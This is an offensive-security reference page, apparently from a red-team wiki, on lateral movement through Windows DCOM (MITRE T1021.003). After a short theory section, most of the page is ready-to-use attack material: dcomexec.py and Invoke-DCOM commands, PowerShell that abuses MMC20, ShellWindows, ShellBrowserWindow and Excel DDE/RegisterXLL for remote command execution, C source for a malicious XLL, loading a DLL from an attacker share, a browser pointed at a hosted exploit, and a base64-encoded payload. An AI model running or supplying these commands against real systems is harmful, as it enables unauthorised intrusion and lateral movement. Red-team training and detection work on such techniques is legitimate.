DCOM

MITRE ATT&CK™ Remote Services: Distributed Component Object Model - Technique T1021.003

Theory

DCOM (Distributed Component Object Model) objects are interesting due to the ability to interact with the objects over the network. Microsoft has some good documentation on DCOM here and on COM here. You can find a solid list of DCOM applications using PowerShell, by running Get-CimInstance Win32_DCOMApplication.

DCOM (Distributed Component Object Model) Remote Protocol, exposes application objects (COM) via remote procedure calls (RPCs) and consists of a set of extensions layered on the Microsoft Remote Procedure Call Extensions.

The Windows Registry contains the DCOM configuration data in 3 identifiers:

• CLSID – The Class Identifier (CLSID) is a Global Unique Identifier (GUID). Windows stores a CLSID for each installed class in a program. When you need to run a class, you need the correct CLSID, so Windows knows where to go and find the program.

• PROGID – The Programmatic Identifier (PROGID) is an optional identifier a programmer can substitute for the more complicated and strict CLSID. PROGIDs are usually easier to read and understand. However there are no restrictions on how many PROGIDs can have the same name, which causes issues on occasion.

• APPID – The Application Identifier (APPID) identifies all of the classes that are part of the same executable and the permissions required to access it. DCOM cannot work if the APPID isn’t correct.

To make a COM object accessible by DCOM, an AppID must be associated with the CLSID of the class and appropriate permissions need to be given to the AppID. A COM object without an associated AppID cannot be directly accessed from a remote machine. A basic DCOM transaction looks like this:

1. The client computer requests the remote computer to create an object by its CLSID or PROGID. If the client passes the APPID, the remote computer looks up the CLSID using the PROGID.

2. The remote machine checks the APPID and verifies the client has permissions to create the object.

3. DCOMLaunch.exe (if an EXE) or DLLHOST.exe (if a DLL) will create an instance of the class the client computer requested.

4. Communication is successful!

5. The Client can now access all functions in the class on the remote computer.

We can leverage some functions exposed by MMC20.Application, ShellWindows and ShellBrowserWindow and others COM objects to execute arbitrary code on remote targets.

Practice

Tools

UNIX-like

Impacket's dcomexec.py scriot can be use to spawn a semi-interactive shell. It can leverage MMC20.Application, ShellWindows and ShellBrowserWindow objects.

#semi-interactive shell
dcomexec.py domain/user:password@IP <command>

#SilentCommand, mor likely to bypass security solutions
dcomexec.py -silentcommand domain/user:password@IP <command>

#semi-interactive shell using ShellWindows object
# -object [{ShellWindows,ShellBrowserWindow,MMC20}]
dcomexec.py -object ShellWindows domain/user:password@IP <command>

#semi-interactive shell with powershell command processor
dcomexec.py -shell-type powershell domain/user:password@IP <command> 

Windows - Powershell

The Powershell script Invoke-DCOM.ps1 allows to easily invoke various DCOM methods to execute code on remote targets.

#Execute code using MMC20.Application object
Invoke-DCOM -ComputerName '<IP>' -Method MMC20.Application -Command "calc.exe"

#Execute code using ExcelDDE object
Invoke-DCOM -ComputerName '<IP>' -Method ExcelDDE -Command "calc.exe"

#Execute dll using RegisterXLL
Invoke-DCOM -ComputerName '<IP>' -Method RegisterXLL -DllPath "C:\Windows\system32\evil.dll"

#Start a service
Invoke-DCOM -ComputerName '<IP>' -Method ServiceStart "MyService"

MMC20.Application

The MMC Application Class (MMC20.Application) COM object allows you to script components of MMC snap-in operations. TheExecuteShellCommand method under Document.ActiveView can be abuse to execute arbitrary commands on a remote target.

Windows - Powershell

MMC20.Application CLSID is {49B2791A-B1AE-4C90-9B8E-E860BA07F889}.

As an administrator we can remotely interact with this COM through MS-DCOM protocol using GetTypeFromProgID.

#Connect to the target
$com = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","<IP>"))

#Execute commands
$com.Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\cmd.exe",$null,"/c hostname > c:\pwned.txt","7")

ShellWindows

The ShellWindows COM object is used to control and execute Shell commands, and to obtain other Shell-related objects. This COM object is using the "Document.Application" property and you we call the ShellExecute method on the object returned by the "Document.Application.Parent" property to execute code on a remote target.

Windows - Powershell

ShellWindows CLSID is {9BA05972-F6A8-11CF-A442-00A0C90A8F39}

Since there is no ProgID associated with this object, we can use the Type.GetTypeFromCLSID .NET method paired with the Activator.CreateInstance method to instantiate the object via its AppID on a remote host.

#Connect to the target
$com = [Type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39", "<IP>")
$obj = [System.Activator]::CreateInstance($com)

#Execute commands
$obj.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\system32", $null, 0)

ShellBrowserWindow

The ShellBrowserWindow object provide an interface into the Explorer window. This COM object is using the “Document.Application” property and you we call the ShellExecute method on the object returned by the “Document.Application.Parent” property to execute code on a remote target.

This particular object does not exist on Windows 7, making its use for lateral movement a bit more limited than the “ShellWindows” object

Windows - Powershell

ShellBrowserWindow CLSID is {C08AFD90-F2A1-11D1-8455-00A0C91F3880}

#Connect to the target
$com = [Type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880", "<IP>")
$obj = [System.Activator]::CreateInstance($com)

#Execute commands
$obj.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "C:\Windows\system32", $null, 0)

Excel.Application (Excel DDE)

DDE, or Dynamic Data Exchange, is a legacy interprocess communication mechanism implemented in some Windows applications. Making Excel (or other MS Office applications) evaluate an expression ("=cmd|' /C calc'!A0", for example) that requires data to be transmitted via DDE from another application. It allows an attacker to specify an arbitrary command line as the DDE server to be run.

The DDEInitiate method exposed by the Excel.Application COM object can be use to execute code on a remote target.

Windows - Powershell

The method appends ".exe" to the App parameter, so we need to remove the extension

#Connect to the target
$com = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application","<IP>"))
$com.DisplayAlerts = $false

#Execute commands
$com.DDEInitiate("cmd", "/c calc.exe")

Excel.Application (RegisterXLL)

The RegisterXLL method exposed by the Excel.Application COM object can be use to load and execute a DLL on a remote target. The RegisterXLL function expects an XLL add-in which is essentially a specially crafted DLL.

Windows - Powershell

We can use following commands to execute a DLL or XLL file

#Connect to the target
$com = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application","<IP>"))

#Register DLL
$com.Application.RegisterXLL("C:\Windows\evil.dll")
#OR
$com.Application.RegisterXLL("\\<ATTACKING_IP>\Share\evil.dll")

XLL Code source

We can use the following code to create a XLL file

// Compile with: cl.exe notepadXLL.c /LD /o notepad.xll
#include <Windows.h>
__declspec(dllexport) void __cdecl xlAutoOpen(void); 
void __cdecl xlAutoOpen() {
    // Triggers when Excel opens
    WinExec("cmd.exe /c notepad.exe", 1);
}
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
					 )
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}

Internetexplorer.Application

One of the interesting techniques discovered by homjxi0e, you can open internet Explorer browser on remote machines by using navigate methods which you can use it get command execution by browser exploits.

Windows - Powershell

#Connect to the target
$com = [Activator]::CreateInstance([type]::GetTypeFromProgID("InternetExplorer.Application","<IP>"))
$com.Visible = $true

#Browse to hosted exploit
$com.Navigate("http://192.168.100.1/exploit")

Passing credentials - non-interactive shell

DCOM objects runs under current user session which can be a problem if we have a non-interactive shell and we want to run it under higher privileged user. A quick solution is to use RunAsCs, an implementation of RunAs by antonioCoco in C# , which we can integrate with our chosen DCOM object to pass credentials in non-interactive shell (note this will be a better choice than invoke-command since it uses WinRM)

Windows - Powershell

First we need to encode our chosen DCOM object using base64 i.e.:

#Base64 payload encode
[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('$hb = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.126.134"));$hb.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c echo Haboob > C:\hb.txt","7")'))

Then we can call invoke-RunasCs function using the following command

#RunAsCs with encoded payload
Invoke-RunasCs -Domain test -Username administrator -Password P@ssw0rd -Command "powershell -e JABoAGIAIAA9ACAAWwBhAGMAdABpAHYAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQBJAG4AcwB0AGEAbgBjAGUAKABbAHQAeQBwAGUAXQA6ADoARwBlAHQAVAB5AHAAZQBGAHIAbwBtAFAAcgBvAGcASQBEACgAIgBNAE0AQwAyADAALgBBAHAAcABsAGkAYwBhAHQAaQBvAG4AIgAsACIAMQA5ADIALgAxADYAOAAuADEAMgA2AC4AMQAzADQAIgApACkAOwAkAGgAYgAuAEQAbwBjAHUAbQBlAG4AdAAuAEEAYwB0AGkAdgBlAFYAaQBlAHcALgBFAHgAZQBjAHUAdABlAFMAaABlAGwAbABDAG8AbQBtAGEAbgBkACgAIgBjAG0AZAAiACwAJABuAHUAbABsACwAIgAvAGMAIABlAGMAaABvACAASABhAGIAbwBvAGIAIAA+ACAAQwA6AFwAaABiAC4AdAB4AHQAIgAsACIANwAiACkA"

Resources

Leveraging Excel DDE for lateral movement via DCOM

Abusing COM & DCOM objects - PaperExploit Database

Lateral Movement via DCOMRed Teaming Experiments

DCOM ExecHackTricks